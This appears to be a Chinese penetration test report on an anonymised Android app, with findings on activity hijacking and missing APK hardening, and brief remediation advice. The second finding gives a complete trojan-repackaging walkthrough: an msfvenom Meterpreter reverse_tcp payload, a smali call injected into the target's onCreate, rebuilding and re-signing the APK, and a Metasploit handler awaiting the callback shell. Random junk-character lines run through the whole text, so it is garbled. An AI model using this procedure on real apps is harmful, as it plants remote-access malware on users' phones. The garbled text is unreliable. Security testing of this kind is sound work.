) ?9 F% l" H2 @+ k! y9 Q
$ W8 `9 E. s! U. u& r; V, o) ]! K # |9 }3 _8 r' b, s
0 W" l' D3 R- D) H8 U
: D; f+ a9 l. S9 }7 V0 p g( s
! k" B: K6 Y6 y3 z" n
! k6 h) y& t; n/ }8 c9 P& \ U) A/ u7 n- ?7 y5 U- J2 Z8 ^
9 D& e1 E8 T( A7 @- j) |9 q
# ~& j% K: B0 ?9 j 表1-2 测试结果
1 I& d. L* K ]2 ]2 s( t- B6 A9 i
6 C* @! D. G9 R; T+ Q& w
- C0 D9 H5 Y* @: P
m0 p" N: f- ?0 ]' d3 {
. W* l3 o1 [- n h
2 y5 Z3 @4 g7 T. X7 I' x9 o & e9 X% _$ @$ R. ^
# d% `7 N" v( N& _" u# J. Z% w
1 J1 N) h' q( ^! {$ A
. w5 s9 v- I, a+ L; C4 K- Z' O
' @1 _, I) K% ^# g. G
$ v# y7 U: F, q. ?' b 2 检测结果
* p4 r" R' `) d8 @* R
6 `6 q. D9 ]9 e
7 U/ }* g4 [4 x) W" E( D. D2 Z
; m: O0 @5 N) M
7 U; K! i5 O/ T# Z8 @% _7 @5 Q: }
- A* Y. _/ g* i/ | |' v2 |* M
2.1 某某某 $ ~. g; X1 A i# ]& J
5 ^7 g8 }# [3 b! I7 {: ^ V7 U
# z; R2 R4 Z0 }) ~. J; G8 W5 Z9 ~# q' J: F
+ g7 k7 s8 s A6 c" w2 Q: k
# W% X3 j$ T( R- |$ U
2.1.1检测目标
* v5 t% r0 |: t: D# y/ u' K* E7 c1 G9 r+ J, {; u6 u
4 ~9 `- X( {/ o2 _
) H1 j7 y! n# ]4 P* M5 c- h
$ ~5 d1 t$ j% W( i! l' N8 b3 s6 q. v# f
目标地址: 某某某某某某APP
( O7 m! d' _! L, n* L7 f5 S2 d) G5 I: `
: ?) |. v1 {1 N4 [; G8 ?
2 Z" s. d5 K4 e8 y' { , X4 I* ^6 j4 k% {0 p7 K. d% s
K+ {( ~1 ?4 P6 Y& M% O 2.1.2检测结果
% S/ p( W0 h+ c9 y% K8 q- E6 X% p7 ~, D% r. |
( l: I: Z6 I# V& R7 r/ q! o3 E2 D# ~7 J
$ r9 W$ D# J5 G5 i; w9 v3 ?# Y
3 i2 b& e% S4 l# V# ]' \ f 2.1.2.1
" X/ `% n( Q5 ?: p2 Z3 ^( C* ~+ b, l0 P. r2 \) P# `; K
. y: u6 b2 @; Q9 R! U1 m" K
5 b$ n: k% \, U
/ Y6 W9 B0 z/ a2 K3 |. P% x
9 o- d) H% z& `, F7 Z5 Q 漏洞链接地址:某某某某某某APP
+ G n& g5 ]( [& W: B
' p5 ~( V0 t1 c
' m* K6 y1 K6 E- L \: W
: J4 F' W6 E! E 6 G& C# _4 R" c+ ~# c( _. C
/ S, `: J& K! @- ]* T$ W2 w
) }# p8 Y- m1 X" Q; I( G) V9 `
, a5 E1 m0 m/ q+ T7 T
8 ~( c6 S3 A, }- x: _: [" Y- {3 b5 r1 z0 Q2 L5 R/ ~7 u
, J' s/ S- o# z/ M5 ^5 o( b. J2 `
$ ~0 Z b% z; q2 b: L 漏洞分析及取证:
! H8 h+ \, t6 P6 V. w2 b1 H: H2 k+ F: |
# ?3 }: r+ P/ }& M
; O" @1 t- f5 [5 r+ @* y
; \$ ~/ @1 y6 j* H2 a
( E1 |# J, |3 Y6 ` A
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: {" E0 J9 Z& J; h7 l, i( t
$ _8 J. z* l3 x0 h2 z/ t+ {
2 D( J) a; S/ M( S; }8 L7 C$ N b* Z' \
! [; Q" T# i x8 J+ u* H
- o( O. |. q( ?
& Q2 S4 n z% h/ J8 @
9 V' U: l/ a! I( ~" R
! r& M& @. p/ z& G. ^
/ a3 `: J" ~! p. o+ H* ^
7 b- @% @2 l0 v) s# o' }
6 P+ v# T; H' Y+ r3 M/ F# @5 P* W
8 U! H% {3 [0 A/ t5 `- g
I- W/ p& Z8 C6 B8 ~! O, Q' w
8 b3 z; N! K. x" f' d
4 ~! i4 v4 _5 t& j; ~0 H2 ~- K& M, q
7 y8 u/ ?# q0 v9 m$ h
+ J3 W6 @% D9 K& y& f# D4 |
1 r4 c* F; p" m5 v
7 g7 ]/ B1 F5 W8 K
* @- O2 J* d! s' g
6 I( `: @7 D3 H/ h0 S5 ]
4 N7 }% L- K9 _) j9 r
5 ~* i; T/ X5 h- ~
2 J0 u& h- i9 V6 A
2 R) ^6 l# J- I' o
+ O5 _8 D' j* r9 P
( N% @6 d( |/ O3 X
3 q' C! e: r, I3 f9 |6 H- e- q. M& }: n( E; B) c& c% a
5 d, O$ Q/ R) S2 Y6 ]
( D: `9 L4 [0 Y6 g% r# N7 ~( v
7 [* P* v/ B7 B6 y" n8 x
6 S, J! \9 u; p
1 V/ v+ P: x' H2 v" q
: S% S. p6 h2 v8 a. M1 F( K
漏洞危害:高 ( D' {, h- F! e* h' e. @2 f6 R
7 q9 J$ h+ i& C, A# i: _9 v7 D
) R: @+ j3 B0 s
! s: u( t: b! }* M' k% ?( I
; y; K" {% f/ q% ^6 @) ` `( [) r8 \ t
7 h# h" s+ }2 A8 i" c
5 M- Y" P; l6 ^5 G- R ' o1 |+ q g/ w# x2 q
) x1 E/ \1 m- F* o. [1 ~$ h4 z
' k# c) i0 l8 w9 T0 ~7 k
& U! m, Z5 x# [) T$ }
| 7 `0 D0 F8 Y0 W1 Q& f0 n0 j0 ~
, b8 v2 z7 y4 f" B3 S5 u# J! O6 W
: H4 W+ i6 V# n
$ F+ J6 {: ? ~9 I 严重程度 2 y, ?" U/ B( `. |8 X5 M
6 ]* V7 Z* d) n4 X3 ]
0 q( e* L S' L- S; `. E8 e
2 Y3 |" t) a/ `& \5 i8 n, K |
2 G9 E# i$ _' z4 E e8 V% ]) D. v) u$ T
o0 v0 ? w4 v. T
- S+ x; _1 r2 e4 O8 V6 |! A
5 u g/ o2 }. `$ S2 j3 S A5 [1 ~% }. d. R$ o+ ]4 }, \& w: s+ _
高
6 G) J6 m% C X/ T+ ]
7 k# X( `# T/ q2 w: ~2 a
1 d5 o6 h( V" r: _% S' C( K) e. y: H' Z9 [
| " t) z; y# b( ~% U
9 k) Z- n1 Z$ ]' R( t$ W; j
+ S. [0 T. n1 C; f, b; k: `0 c" d& J( m: A7 ?% P" p! P% x
3 q- G9 @" A3 M$ S
! X! `3 P( S7 F+ G ■
4 K& r3 o& y$ U8 {/ C
4 c v4 j$ b4 Y2 _; K3 Y
. g$ F# k, l: m/ b' [! U7 a' `: m( |2 p4 A( ^- R4 Z# p; ?4 b
|
! g& j/ `9 w1 e$ m) }7 C8 d5 G5 p: f( D! \' c' Y3 q7 Q( P" r+ F) Q
6 I1 e/ @/ y% j% u
/ \( w$ J$ z% y% U: \2 u1 z0 h
/ I$ T3 }% v$ T& I7 Y1 C" V; o. i: {: k* H: d6 J
中
, W8 E G4 m' r% ~$ b6 M( ]6 r L6 M; N# D
, T$ j P/ o( L$ p. F5 F! z$ l
4 R# a+ n! E; u( A4 @% D | / V6 r* _$ B b* E8 D0 }* D: M
) \6 _) E/ D/ }* Y" w
% Y7 F0 J. h N5 g! }1 }5 P O1 }8 t
7 x. `7 l; ^3 ]' K
: \& p; _. {0 v, a
0 W' `: l3 t9 Q
" x t. @1 L6 H4 w
; x( K, ]! L/ G3 b K 5 }( B Q. A/ s* C( K& A
2 l( F( L4 c' [( H- g" R4 d* m
| & c* T0 a1 ?2 W: `. x/ K
" [; h8 _. I% m3 S
9 n7 @# v* X. \/ b" h/ v$ B" R6 p! j* e2 i8 b" X
# V3 U, f# p1 _- V+ L& A# _
* ^8 \0 y9 ?. O0 z$ L. D 低
; Y5 |/ h! f; @, {7 s9 R7 [$ Z: R1 L) ^9 u
, z( ]9 i/ T+ B7 i# k
% v9 V( Q6 I# |# w | 6 d7 D" U; R0 E
$ R7 C3 Q0 u7 @" o7 b y* @2 q
& w b1 F* D9 | A) R
+ l/ @* L; U/ _) ], J$ j3 [8 k
/ ~2 n. r, {; k1 t' E9 k1 Q& Y% W3 o+ ^% o8 ^
4 w0 D3 h6 z. _% o8 g6 t
4 \$ w* }( l9 i 7 @* Q7 `- p$ A% ^: g |4 L0 R( A0 y
7 I) @1 |9 v' C, X
| 1 o6 a% E; [2 F" b( h
4 Q% p9 ?) }8 F7 f$ O! s q
9 D; X$ l( I$ n% l/ O* ~9 I
& ], K! i5 h ~# j" F/ z : k% G) N" j, u9 Z) g2 d( y
' z8 w; v. _% |! ]& `
2 {/ m+ F% D+ F* x+ F& ~$ P% G
S6 N, u0 l! {" ^' u/ t% n! R" x
4 U" x9 v P. f3 z
+ w$ [6 i, ^/ P& d( b4 Q0 A
" e! ]! ^. P1 d. g# n0 e3 ?: e
& c: @% K7 B+ w: y 9 ~8 ^! ]; h1 C- R9 @. E
8 j! M+ l8 _7 m! Y! G7 W# n
. u. c7 y# [ ~" T1 r5 l
( J9 m% o& S, [; j
& X- @5 P6 P) L( J7 C* e" |# h! q6 [( B3 w* F: o
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
# e" {) b _- ?" B
' _8 W; S- [1 k$ o* Z' E" F
. n% h5 f7 V' c# P" x
; [4 f+ z! I* ^ ! h4 M5 X* Y% J0 s( }$ m
1 a5 ?& C2 g, c+ C
# k/ D2 ]5 q; R" ^+ f8 k& }
1 p- ^0 A3 e8 e9 m% u5 {: F) b
, W7 Y- M8 _" W' T m; I |
9 s O T1 A$ Q: n. h 5 `$ v/ p0 t X2 ]
9 P" X2 O/ u" l
* g, o+ I7 S4 ]7 ]- g5 G
* ~& ?# d- L- J" t7 I% w: H5 t
* A; s' ~, k% \; P* e2 J
5 s F. W1 d6 e# c
. d3 T5 i& W$ q2 G% w) P2 Z& ~6 f0 u0 i: S
2.1.2.2
. `* [, Q- y0 M4 S$ j1 y0 a `8 d' `3 A
8 N0 R7 T+ S9 M5 O6 @; d0 K
+ v* h/ D+ i/ G2 v2 I" ?" Q7 ] - O8 q2 v! G) j# B" G
7 X( g; X) s# B; Q: r 漏洞链接地址:某某某某某某APP
7 l$ T, ~: |- \6 P) W) S* N+ A" x5 t& c6 Y0 ~
# A s" L; R+ g+ V& I! D) e. \$ C0 U- S- |1 x& v1 R
+ e# W8 x2 G6 P. K# L7 B! y, i% T( j$ {+ ]7 d
漏洞分析及取证: / H+ z- a1 F% }* \
0 `. v: g1 W6 X' G! {( n
2 D) b# | C( Z, h$ U D" F
" J/ ?8 l$ \, B+ x! [! w
* p" Y% P8 f1 G% s( P, }3 P8 f. l8 T# G3 W3 D; @, `% ^( M2 c
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: ; A, z, I, ~1 ?. A
) D/ d+ e6 r i( R* Q
" A! y% I$ y+ D2 `1 i
. U; w0 ?* `; s 2 B: e9 J! K) j7 }# v% o
7 H" }. v0 b6 ]7 \$ ~ 用Metasploit 生成木马 apk
$ l" f0 ^, o0 J2 h4 w, F# O$ Z1 H7 k
8 `2 u8 z7 B' U7 ?9 g$ X: d+ U! ?8 n) |" }4 a
* B" s9 X& f% k1 x9 j7 A& z
1 G( X, n+ {6 g. F* h* q msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
# J: {) Y. c+ s! R6 j' t; C1 E1 V9 a- j& S$ q* y/ S0 d
% E4 F3 g' ?! @8 x! ?9 R% {) \' d+ \" o" f% ?
0 S2 w @9 B | X* ^& n8 }* g
2 X9 X0 \8 |, g+ S7 t, D; X+ i 反编译目标apk和木马apk : ~' V: C9 ~$ W. B9 M. C
5 `% a2 Q$ z. ?# w: x4 Y
5 O4 U8 z F" S9 Y1 \% q- m& r9 m, l# t# A5 y. N& @
$ R9 l# ?1 b( s! N4 i/ ^% @
' G: H- g u' ~+ l0 T, S# K* w apktool d target.apk
+ N; y8 ?. W2 a0 v8 P( {2 p ~3 z9 S$ r
apktool d cockhorse.apk
6 L, G7 A5 \5 j% p# ~4 D9 o5 P- n8 g! s4 W: q
0 L! @0 I, B" m; H1 O+ V
) L5 P ~1 z* k 2 h4 e [5 {6 t9 V6 _0 t; X
1 z2 G, Z' P, N
木马 apk 注入目标 apk
( e* z* ^2 z; x6 U/ E% x+ p: M
5 ~* k8 O9 V* \6 P- x; s' n
- S; C! e# X0 @9 W% ^
6 W8 e0 T) T, w( f0 p8 c* X6 a # [+ M$ C; x7 C4 y+ ]4 X$ F- [! S
$ m# f( G3 k) N1 x3 l! e& s5 d
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
3 _% g9 X# d" ~
: v$ Z2 Q6 S! o$ p invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V % B+ e7 J) ^ R) X' J; |: A9 z
' }; O+ @7 P. M7 Y6 _
/ L4 Z) j' n+ t2 S* ]4 O
4 k. n' o1 r8 J
Z \' P$ ]1 G- e- t6 |
7 d8 I/ o: Z5 f, \ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 3 w8 F0 j( |+ s& `
# y# Z5 ^9 g/ L! Y+ L3 p
P7 E' V) [0 _/ F4 H) T/ D
+ g3 ^0 d. k; m z2 B0 l1 T
1 x& h/ T/ N! L. [, i3 g8 X; P) f& Y5 s, M8 @/ J
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
: J! P r! F5 I0 i5 V7 \! K5 N
5 E" R. `6 @ a5 X
a7 k" ~ m5 v( B& ?3 q1 m5 V
. P- Y" A" u1 y! W: e ) B4 v) F* e0 E# M
2 p7 }+ C' F! c8 `* y+ m8 U0 U0 [ 回编译生成最终 apk / ?! `8 M+ ?" i
# |/ o: _1 @4 x% ]& W9 N
) p# J, Q* E, H7 V- V5 L& C/ ^+ s
3 y. Z7 Y2 I7 k! \3 K$ k# t
$ n) W+ ]5 p) ]& O
/ m I* ]( H1 X& U: ?1 u 重新打包
z( X; i. \/ l1 n/ b( ~2 W) H' v; }7 B
K! s2 R3 e; @4 h5 n: i0 w
' f; K$ O6 M4 y3 t+ F0 g' x( p
: l, L, m6 L9 E8 D4 m, ~
/ i) ?; S8 [4 ? apktool b -o repackage.apk target_app_floder
& l6 W" R$ S/ \# e5 h- |5 J% Z7 o: G( i8 ]; E* h: Z' k" e
! |" f( y# Y$ b
8 W! j" q2 M2 z# j- ^6 g
+ g0 X/ K, R% O! x+ I" Y
8 V2 x* G( s( V' H6 z 创建签名文件,有的话可忽略此步骤 5 q- ?6 p. r x" _
( M4 B/ k1 f) m9 _0 o5 J
0 F8 a. b) Y4 }6 b6 d
- C: c9 l- _4 C6 K; g
: s5 G0 q# _* O: p' ^6 u! ?6 }' h" B* B% _/ ]# r/ ]7 ~
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
2 V% ]% @ k, s1 k8 |0 ~+ v
' ~% Q% ]: t+ a) s4 I5 Z. p
, [% p' v, `+ i
[7 k1 }0 C9 k8 j1 T 3 n1 H1 p7 J6 Q9 e. p. b) Z, |
7 a: j! W5 q5 C4 _4 m: m
签名,以下任选其一
$ v7 {+ a+ Q5 n! }) T: F
) L8 g$ m* W5 L8 D3 f, j
- y2 O( X/ s- H
' m( `3 i1 T! a v- Z2 ] 6 a2 ]* `# A$ R- z" x
% f& S! Q4 h" g# E* y; ^ jarsigner 方式
% F5 h' x: d. n" |, d" P. C
2 Q+ R+ L9 [, c8 {+ h3 a4 d
]2 l2 B4 s" c6 Q' S3 L0 H7 y/ b* C6 e. k$ ?9 _: f. n* O: s0 U$ r
! C* D5 u; _% F; I
: o) n) ~1 I( o! }1 k jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname & z6 c& g+ D4 {5 O6 ^: k6 o
* D" H* p, N, E( z0 x6 N% T- a
7 X! B* K1 Q7 _8 C x" L; Q. m
, X5 [; l2 e5 P/ l q# W
2 \2 [/ H% A5 j( z
" @0 G% @7 [: [: f: g# Z* {/ ` apksigner 方式 8 O5 Y& S. O N; N& m
4 p# X- f9 ?+ S
% N6 B- v; {* j ]7 l9 c3 z' a' o* `" F g- g. g" G
# U, X+ _* \+ L8 s8 K- m
- K l) |+ q0 [+ n V, @! I
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
/ g4 d2 J) t# M' w h- V
. N r: i4 \; T, {
0 @: I2 y8 a8 N( X. m
, d/ ^0 [ D0 ~) K7 }
$ m7 n. @- G9 x" P$ q
$ e+ E0 N s4 p 如需要禁用 v2签名 添加选项--v2-signing-enabled false
! U& m2 }. E6 P& B' M' ~+ ?4 \1 s% v9 l- X* P) R; Z
$ I" R. D ]/ S. ^1 \$ ?
! w: k5 B, P8 w5 Z: Y! d' r8 O " }4 e/ B9 F J
7 C# P, d/ L0 Q
验证,以下任选其一
9 ~# E: g* i8 u1 d( ~
2 i/ L: s/ I3 W9 \6 R- M
5 W& P4 m' U) n* `$ V+ m( h7 Z) ]8 ~
! A5 E1 W' S4 r6 m f n ! X% T; B) n/ b! v' a G
7 }2 ~# b+ u" e) a. u* F. x
jarsigner方式 J9 f8 I& N2 f+ x$ C1 T$ b
5 a" [$ a; @0 t; @0 r! j c2 j; g Q2 a
5 A9 {4 w& j$ ~
' J5 C7 k% U: O' E# Q
: I0 I# D7 s6 C' U1 ^3 V& q5 N8 E( _# r( [! [; ^/ ]
jarsigner -verify repackaged.apk
2 J* C! g! m$ I- X' k" Y2 O0 v4 i9 o1 \4 H) X
; s1 H' {, S B( l+ Q
! Z/ L- H- j4 U
8 O/ y; Q5 k: m, I
6 }0 L8 X7 w, i9 a b% W; e apksigner 方式
( Q/ m/ P6 I5 U+ Y9 T$ n/ x; A# V. P& `; k! T" a8 e
! W0 Y) Z& ~5 s( r) `5 ?
# A7 @. U) `5 V. N" b8 S% H 1 b6 S2 g( i6 k+ N4 Q
. {# n- ?+ z" i8 f$ y/ r apksigner verify -v --print-certs repackaged.apk ( B* D* C0 l8 o, O; j6 }$ w+ z* {" q. J
/ M, L' s8 [3 J2 E
7 B# l" G8 p" o- U7 Z o9 ?$ e
4 e9 ] K' O+ q, c ' @% s% k' K: O* _3 n+ {
! G/ P8 v2 Y1 ~/ R8 y9 m( d
keytool方式 " y; D+ \) S* h
5 P9 Y6 Z- s$ ~, A( K: i
u1 @4 B% O) @# w# ]" `
% w7 y/ O( l6 |( Q& a
# M! D I! _0 P$ D6 n6 S+ V( R6 r7 D7 L. G1 S" b0 _4 r
keytool -printcert -jarfile repackaged.apk 6 \/ O+ M7 @$ O- ?
3 S/ v5 P2 Z# I& c ~; r, m. h8 y& ?0 Z
1 T e* {! ?$ A( h% Q
/ x% @4 `: B# _( ^8 S: P* i 6 h$ I3 @/ M2 P8 T1 w
8 R$ M: I5 R5 i 对齐 6 F* e( S: y( ?) Z
5 m+ z9 D3 S" H& E; x! {! r/ i
% ]$ i; u# \) u4 r* X1 K) O# e
; Z# }0 [6 L1 v 8 \/ e+ w" g! O. Z! M
+ n0 Z5 G) h8 Q9 k3 H6 g& r _
字节对齐优化 # T: z! Y9 ?3 N/ A+ [0 h9 C) E
8 h7 t3 ~/ B& B
S2 p; q5 v6 K, ]: l2 m, F
0 o/ K, v: {( H+ i) K2 D
2 j n! p9 j: J' W
+ x; S- N1 G! D7 L
zipalign -v 4 repackaged.apk final.apk . l s( ^+ `. C B. E
; G9 l+ T' ]: N9 ~' h
2 U: Q" B5 D; c* S8 S
; c% R( L) M6 q! P! } : A9 g( p, q/ ?1 L) _7 I7 t3 L N
3 i' }. s1 o; \* w# r 检查是否对齐 + N1 j9 R) A9 s \9 O/ g
2 D- n$ a$ h: B# H
) B; p- f& D( N* J, G. ~: r
W+ g& X! o& c& \9 Z7 r
3 G! {2 o6 k$ p3 y6 E% D
* m% C9 L& k# T5 }0 H
zipalign -c -v 4 final.apk
( Y2 ? ]- S. W) _/ `. t0 l1 j: w: ?3 H. l% ~' q
( T) r K( o, M
0 ?2 t8 a9 V7 N! g% e
/ ?0 _/ ]/ O0 j& K2 x" Z4 F
6 @$ o; n5 r! X& {# K0 s2 x
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
B4 z f3 i* Y5 H1 B: i& r: }: g/ s/ N/ J% }- n$ G. ]
6 h" \3 k% ?9 w# E
( m; Q6 A) L" n" l0 z ' I$ U; H" @ B9 o! V! B6 t: J. X* Z' n
2 Z$ V: U) ?0 W" B: j6 v6 f& p! X, K 启动Metasploit控制台,配置参数等待上线 & i5 R- ^9 u6 S. c* T* L0 F: b
1 F% ?) p- N5 @ `9 F' w6 @1 g
0 n' z+ v* l. }" W/ P9 O
7 u4 y2 L2 y: W2 X+ D E q
$ K9 |% V- G1 H- V/ p. r+ j4 m" S: D* ]+ P9 R d
在终端依次输入如下命令
6 d' U6 u3 M/ U1 R: K1 A5 U. D! d9 }( Y: U
. E. Y; t: B2 K; a" U5 H: Z+ \
8 T, B6 a9 J; P- d* K3 f
; E) L2 `+ k+ L$ u( ~& v& N& ^* }# g3 V) h( I0 L1 p5 ]/ g
msfconsole 9 a& ~$ z& s/ Y
H$ x$ b" r+ U; v7 U
5 R* W" P0 u& Q/ R l6 H) ]7 x5 b7 _$ j% ?- Z6 E
; Q4 ~' R# s+ y2 j" ^: x: W
. _1 R5 U$ U2 R0 G use exploit/multi/handler / o; C' ~ {6 T/ V2 n
3 ]$ n4 I5 j' P1 e; o
$ [& Y- {, e3 {: i& v1 J+ y
% ]/ @$ b3 m5 N5 v
0 m' N/ E" K- T% r. |8 W0 i! ?% P7 j& `: K2 _# Y# G1 f
set PAYLOAD android/meterpreter/reverse_tcp ! R4 k2 y) w7 J$ i" k
) Z9 [ e6 m) S- H4 m
0 o( y9 W5 U& g0 I
Q: L8 h: o. r1 v- O/ v
# R5 z# h2 S5 o+ `, d, O0 ~& V& Y. K$ k$ Z
set LHOST 192.xxx.xx.xx
( p- i2 x% o, x1 B2 }
& f) e- M1 K# |0 q( Q. ~9 Z) z4 ^
2 g5 d5 H3 w8 ^
, m, @/ W: j9 T2 R- C* V8 C
8 m% D+ [, A$ i: B' ] h
9 d4 v6 e+ x2 E. p2 Y, A* v
set LPORT 4444 " G+ L6 Y X ^
2 A* \+ T, q: B/ O$ ~) X1 j
( B2 W& V/ C7 `. V. M+ i- s/ A9 u! D' f9 C) d7 A/ L$ R2 l. w
# q* l+ R- p5 d% T# ^) E7 R# G# ~. M9 z$ C5 h
exploit 0 e7 A/ U! B; A8 Y8 D1 I" J$ g
- g6 c: k3 R3 w) T. h
7 z- e$ h/ P' S: A G
" Z0 N& v) h8 K+ A3 s - e- w# O% I, E8 r$ d$ d) B
* K. b% z+ c( I8 {+ B/ f
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
) [ R; _0 `9 k- _7 z6 z
7 C; C1 J5 v9 f
& N& g# v% i: _5 F% O q4 s
4 S7 a# M# D# Q
1 |" r8 r2 s5 a1 X$ U
1 o/ }9 F5 K5 |9 _0 B3 T' L 漏洞危害:中 + L2 w5 t4 f4 n# }' y
6 x8 A! a6 j4 j/ G" T
" \$ _2 R1 M7 ^9 @0 D# Q
5 p1 _. U$ B2 X$ u" T2 n; ^& D; @
( W" J& p0 e# \. z) b p
/ M+ I) C& ^7 D0 \* m
% M3 O! \4 g. A k" r5 F3 j3 h2 P z% x; S% o; J, X) d
& G/ B& m2 Z& ]6 c g7 ~
) b- F3 h' L; w) Y& K L 9 h, G& L# U% {
; z# ~3 l$ H0 Z- J1 U8 Q
5 u6 S' D3 I3 A5 @7 m1 P1 x8 s
* n8 H+ w+ F: E/ T0 C6 W0 A) o | " F5 b& i# n# H) a5 q" S4 R
8 `- X6 H. ]; n6 y2 ~* V7 ~+ T( E 8 x W* D1 V6 d# P& Q
# ^5 U- C4 w/ k5 t+ \1 a/ w
严重程度
. V- J, ^, }& E% P# g$ F( i+ Q$ P' q( o3 n" M( m/ K6 C
4 a3 r# R2 Y. \ B4 g
% z6 W' P0 H3 V3 \0 ^, X% ]- g | / w, Z& j6 j, p4 @* `
' F- G0 P% k( \* F2 ~; A
( K! J. d* n; G( f' m
9 \/ b& U6 p6 K: T
& L5 ^6 k5 A# w/ Y# o
) q" s n+ r1 h 高
; }" D& J! b' S/ `
$ x5 ^: Y) c# R% R! d / Y6 }; [& F. x1 w0 _
# b! y X5 X, ]' I( O/ J
|
9 U6 ^7 r k' h* |. K2 {3 R" K" [" x8 K" [2 ~. Z$ b4 A0 \5 m' R
, n- h7 d1 l* {# F& X: t. N% x% K! W$ {9 {
2 ~+ h3 G& |0 a% ~, z [
0 }8 F( B) ~. g% G. u" ^, w& \ ■
- `( p2 M* n+ a4 o( ~0 ]
7 o) Q! Y. z6 g" c9 x * c$ D- f6 d! H: M9 g0 P
( k- S9 a# u" f' z1 I; X |
3 t) O% n+ z8 Z& b3 O7 `% D3 F/ u
5 `& {0 T9 o- F t' t3 x7 ?7 x( ?" L M3 I3 A
. `5 z' x. D. U# I4 t
7 E) I# y7 C P$ \
中 7 E* Z% q- ~, ?& }( ^3 J
! x. V7 {7 p3 [6 L: ~2 `$ l. o 4 k8 N/ \! J: @ v' n
6 m/ S! F+ n8 H9 Q& u' p- y1 m: R
| 9 i3 ]* Z, W4 Y+ E% ]6 p
, I" G! k0 I) w8 J+ h
* q2 G- U4 d( T/ Y% }
$ }4 K* M6 J% K$ ~2 ^
% @% e g3 [- A2 z- F, {
0 D. j$ u( T5 e4 b" x& `% A. v
5 J: U& B/ h) G5 x f# P3 U* |6 p+ f9 {- }1 A9 Z2 o% J
/ t, F2 H5 R6 H0 t9 i* c) L4 {5 W! Z2 p
. b& e. t+ D) O5 {4 C
J- L! w; V1 _& u3 z }0 s1 x) ^ | % Z) O3 B; ]# u: f: H2 n
& u" C" w/ b6 B
" [! G) M- F2 E8 F0 {% w: T C# U! _
$ m& B1 x& o4 y/ k4 _, h& [
' R3 p8 y% V& S! }2 ?* O7 |0 [/ U6 m 低 ( |. X' c/ s0 [' c3 f7 R. A
" \3 T' V3 F" e! d& z7 c: _1 c
! P! z' N. O! o3 q9 h, u2 u5 A* p
: `& v, R; p4 ~' _; A2 x3 t& e1 Z' h z
| - y9 n* c9 q' Z; l
+ `1 b9 E; Q4 {
! a9 b' }+ F- Q5 J
- x0 w' a! R1 m. q$ h8 a8 g$ W% d 3 Q0 G0 ~& t t! a6 v3 L- a
" z; v; L. e4 Q7 N2 B# Q
; L; _6 I" y1 ?9 T6 \5 _, q
, L5 ^- e5 d4 ]5 G# K
4 n, K T1 o ~1 J) u/ H2 \0 W2 v
0 D. u1 c) N0 h+ S- W 7 T' p6 u/ v7 b, C) C ^
# F$ t2 T$ f5 F: w
| 7 \0 }; q- D+ l; _' o4 [9 s+ F. S* {
8 d- n! \7 C, a
) W, N7 x0 w7 O8 {
/ v4 E. x6 T1 Y/ M& x5 B
- a# }8 z- Y0 i i1 o, A
4 B$ L3 L8 j3 Z) N( `+ z% Y5 z
' L$ L$ F4 L- T# v4 D4 Y3 j8 J' p& K8 }, b$ J! a2 y9 H
7 `$ O# E0 z: \' D0 ?, P
6 c) R$ [7 l( j! w
2 B- g; I( ]! p1 B' o
8 h0 O0 t: P! {2 _. y
$ X0 U6 A5 O& Z
, Q& I' o# g6 m# M. M3 ^
^/ a3 `$ [: u4 j! V
+ b6 I- \1 f9 u5 P' ], [& o* o , k4 U7 [' V* L( }
( P0 C) o8 }3 a/ T) D# X: u
修复方法:
6 x# Y% z/ i" c) R% r/ _
+ v6 t. U, P9 }: i8 R% _/ C
( A2 i$ f2 N4 i; ^; _, L
0 f, |+ ]' S" X# K , v% N% D, X4 M8 b- c
5 C. x* y9 _8 p3 `1 T( y6 k
1.在 APP 启动时应做签名校验防止二次打包。
; K+ l5 U% u" c3 a5 i
+ r1 w- C: y b1 o" ?, Z/ g
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
" N6 m% y; W% g0 _( \! b# M' s$ n- Q, x7 y* L9 v6 C' l4 o
: E% |4 u2 u: ]; D) p' C9 }3 C( R8 F9 g( V4 X
0 I4 e6 {6 S6 A8 E( _9 ~- [
- Q9 }; p6 ^; J1 w6 V! m' q* N - J% W. F; r/ K, f1 \
! G+ }4 q, w- {
) ^, N* y* q, g# Q1 ]3 i9 Q3 e
" i2 w3 }3 h7 S
4 W; D0 s! k5 c' j* x" p$ W' X7 N1 R, X; M+ n# R, q
. M! p+ C" v! z( ^* c
5 s6 E2 k' S% h- P, [) {/ C
' Y5 }. e6 t0 l9 q4 J2 x
* e+ U9 [; u3 a* Z: @+ S
/ W. v: I6 L, N* h$ I( i# [/ h" |' @' w9 |) b% O
& ~# e z) Y3 Q
, s: M: T$ ]3 k3 C